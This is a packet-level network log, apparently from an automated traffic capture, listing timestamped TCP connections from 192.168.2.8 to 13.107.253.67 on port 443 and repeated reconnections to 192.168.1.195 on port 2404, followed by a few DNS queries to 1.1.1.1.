Aug 22, 2024 13:11:29.120284081 CEST	443	49939	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.729963064 CEST	443	49935	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.734622002 CEST	49935	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.734630108 CEST	443	49935	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.735482931 CEST	49935	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.735487938 CEST	443	49935	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.762691975 CEST	443	49937	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.763643026 CEST	49937	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.763672113 CEST	443	49937	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.764534950 CEST	443	49936	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.764564037 CEST	49937	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.764570951 CEST	443	49937	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.765166998 CEST	49936	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.765198946 CEST	443	49936	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.766016960 CEST	49936	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.766022921 CEST	443	49936	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.794660091 CEST	443	49938	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.795367956 CEST	49938	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.795377970 CEST	443	49938	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.796142101 CEST	49938	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.796145916 CEST	443	49938	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.833995104 CEST	443	49939	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.838289976 CEST	49939	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.838308096 CEST	443	49939	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.839098930 CEST	49939	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.839103937 CEST	443	49939	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.851820946 CEST	443	49935	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.851887941 CEST	443	49935	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.851986885 CEST	49935	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.852271080 CEST	49935	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.852271080 CEST	49935	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.852287054 CEST	443	49935	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.852296114 CEST	443	49935	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.890178919 CEST	443	49937	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.890194893 CEST	443	49936	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.890266895 CEST	443	49936	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.890270948 CEST	443	49937	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.890464067 CEST	49936	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.890480995 CEST	49937	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.890873909 CEST	49936	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.890892029 CEST	443	49936	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.890906096 CEST	49936	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.890912056 CEST	443	49936	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.890925884 CEST	49937	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.890937090 CEST	443	49937	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.909250975 CEST	443	49938	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.909307003 CEST	443	49938	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.909418106 CEST	49938	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.909652948 CEST	49938	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.909657955 CEST	443	49938	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.909691095 CEST	49938	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.909696102 CEST	443	49938	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.962461948 CEST	443	49939	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.962517023 CEST	443	49939	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.962660074 CEST	49939	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.962819099 CEST	49939	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.962829113 CEST	443	49939	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:29.962837934 CEST	49939	443	192.168.2.8	13.107.253.67
Aug 22, 2024 13:11:29.962841988 CEST	443	49939	13.107.253.67	192.168.2.8
Aug 22, 2024 13:11:33.671880007 CEST	49927	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:33.676964998 CEST	2404	49927	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:35.159965992 CEST	2404	49927	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:35.160032034 CEST	49927	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:39.421988010 CEST	49927	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:39.423571110 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:39.427102089 CEST	2404	49927	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:39.428423882 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:39.428550959 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:39.539815903 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:39.549181938 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:44.703347921 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:44.708187103 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:44.765695095 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:44.770519018 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:54.890795946 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:54.896893978 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:54.921885967 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:54.926923990 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:54.938054085 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:54.942909002 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:55.015686989 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:55.020652056 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:11:56.953254938 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:11:56.958425999 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:00.281496048 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:00.286612034 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:00.328301907 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:00.333117008 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:00.390800953 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:00.395800114 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:00.785661936 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:00.785753012 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:05.391860008 CEST	49940	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:05.392734051 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:05.397850990 CEST	2404	49940	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:05.398658991 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:05.399544954 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:05.578027964 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:05.582861900 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:06.625273943 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:06.630240917 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:10.656400919 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:10.661439896 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:10.672167063 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:10.677151918 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:10.687655926 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:10.692555904 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:10.703464031 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:10.708334923 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:10.718905926 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:10.723676920 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:10.734335899 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:10.739145041 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:10.750041008 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:10.754904985 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:10.801278114 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:10.806076050 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:10.843734026 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:10.848536015 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:12.003870964 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:12.011203051 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:12.031323910 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:12.036675930 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:14.875125885 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:14.879997015 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:16.703286886 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:16.709186077 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:16.718980074 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:16.723789930 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:16.797027111 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:17.050558090 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:17.050611973 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:17.055661917 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:23.843961000 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:23.848839045 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:25.359751940 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:25.364722967 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:26.786837101 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:26.786978006 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:27.078564882 CEST	49941	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:27.082366943 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:27.083477974 CEST	2404	49941	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:27.087534904 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:27.087641954 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:27.143764973 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:27.148610115 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:27.172331095 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:27.177231073 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:27.187732935 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:27.192578077 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:27.219532967 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:27.224436045 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:32.734582901 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:32.740410089 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:32.813198090 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:32.818217039 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:32.859980106 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:32.864969969 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:32.875217915 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:32.879971027 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:39.125443935 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:39.130469084 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:41.987895966 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:41.992902994 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:47.845922947 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:47.850877047 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:48.458503008 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:48.458571911 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:53.454076052 CEST	49942	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:53.454922915 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:53.465714931 CEST	2404	49942	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:53.466247082 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:53.466536045 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:53.588280916 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:53.593298912 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:57.470613003 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:57.476133108 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:58.797110081 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:58.802031994 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:58.843827009 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:58.848906040 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:58.875205994 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:58.880709887 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:58.940113068 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:58.945101976 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:59.078411102 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:59.083353996 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:59.094014883 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:59.098866940 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:59.250365973 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:59.255526066 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:59.266155005 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:59.271095037 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:59.297086954 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:59.302943945 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:12:59.328418016 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:12:59.333287001 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:01.578912020 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:01.584952116 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:04.437597990 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:04.442502975 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:04.453142881 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:04.458081961 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:04.578263044 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:04.583192110 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:04.640657902 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:04.645499945 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:04.703864098 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:04.708713055 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:04.829670906 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:04.834695101 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:04.859781027 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:04.865019083 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:08.297219038 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:08.302187920 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:09.359652042 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:09.364608049 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:14.818623066 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:14.818712950 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:15.202047110 CEST	49943	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:15.205900908 CEST	49944	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:15.207051039 CEST	2404	49943	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:15.210777044 CEST	2404	49944	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:15.210870028 CEST	49944	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:15.606879950 CEST	49944	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:15.612036943 CEST	2404	49944	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:20.906416893 CEST	49944	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:20.911427975 CEST	2404	49944	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:23.266114950 CEST	49944	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:23.271018982 CEST	2404	49944	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:33.000359058 CEST	49944	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:33.005352020 CEST	2404	49944	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:36.660490990 CEST	2404	49944	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:36.660739899 CEST	49944	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.093902111 CEST	49944	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.095495939 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.098782063 CEST	2404	49944	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.100369930 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.100456953 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.137574911 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.142559052 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.156634092 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.161484003 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.219111919 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.223942041 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.235069990 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.239859104 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.256664038 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.261540890 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.328668118 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.333595037 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.344361067 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.349313021 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.360157013 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.365005016 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.406738043 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.411638975 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.438074112 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.442986965 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.453336954 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.458230972 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:41.642013073 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:41.646812916 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:46.828649998 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:46.833527088 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:47.970215082 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:47.975079060 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:51.687757969 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:51.692832947 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:53.140954018 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:53.146652937 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:13:57.031696081 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:13:57.037467003 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:01.109709024 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:01.114521027 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:02.459796906 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:02.459942102 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:07.158790112 CEST	49945	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:07.162549019 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:07.165985107 CEST	2404	49945	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:07.167455912 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:07.167545080 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:07.236031055 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:07.241300106 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:07.328629971 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:07.333515882 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:12.922271013 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:12.927190065 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:13.172508001 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:13.177419901 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:13.234767914 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:13.239607096 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:13.265908003 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:13.270775080 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:18.562885046 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:18.567837954 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:18.734756947 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:18.739631891 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:19.031827927 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:19.037178993 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:27.250324011 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:27.255269051 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:28.538336992 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:28.538513899 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:32.250114918 CEST	49946	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:32.250760078 CEST	49947	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:32.255129099 CEST	2404	49946	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:32.255644083 CEST	2404	49947	192.168.1.195	192.168.2.8
Aug 22, 2024 13:14:32.255739927 CEST	49947	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:32.284929037 CEST	49947	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:14:32.290162086 CEST	2404	49947	192.168.1.195	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 22, 2024 13:10:25.243302107 CEST	61590	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:10:25.250463963 CEST	53	61590	1.1.1.1	192.168.2.8
Aug 22, 2024 13:10:25.522905111 CEST	51866	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:10:25.533653021 CEST	53	51866	1.1.1.1	192.168.2.8
Aug 22, 2024 13:10:25.536581993 CEST	52853	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:10:25.543482065 CEST	53	52853	1.1.1.1	192.168.2.8
Aug 22, 2024 13:10:26.550365925 CEST	64890	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:10:26.557302952 CEST	53	64890	1.1.1.1	192.168.2.8
Aug 22, 2024 13:10:31.910722971 CEST	60009	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:10:31.921871901 CEST	53	60009	1.1.1.1	192.168.2.8
Aug 22, 2024 13:10:36.564476013 CEST	64064	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:10:36.584989071 CEST	53	64064	1.1.1.1	192.168.2.8
Aug 22, 2024 13:10:42.236066103 CEST	57359	53	192.168.2.8	1.1.1.1
Aug 22, 2024 13:10:42.244169950 CEST	53	57359	1.1.1.1	192.168.2.8
Aug 22, 2024 13:10:46.767117023 CEST	53263	53	192.168.2.8	1.1.1.1
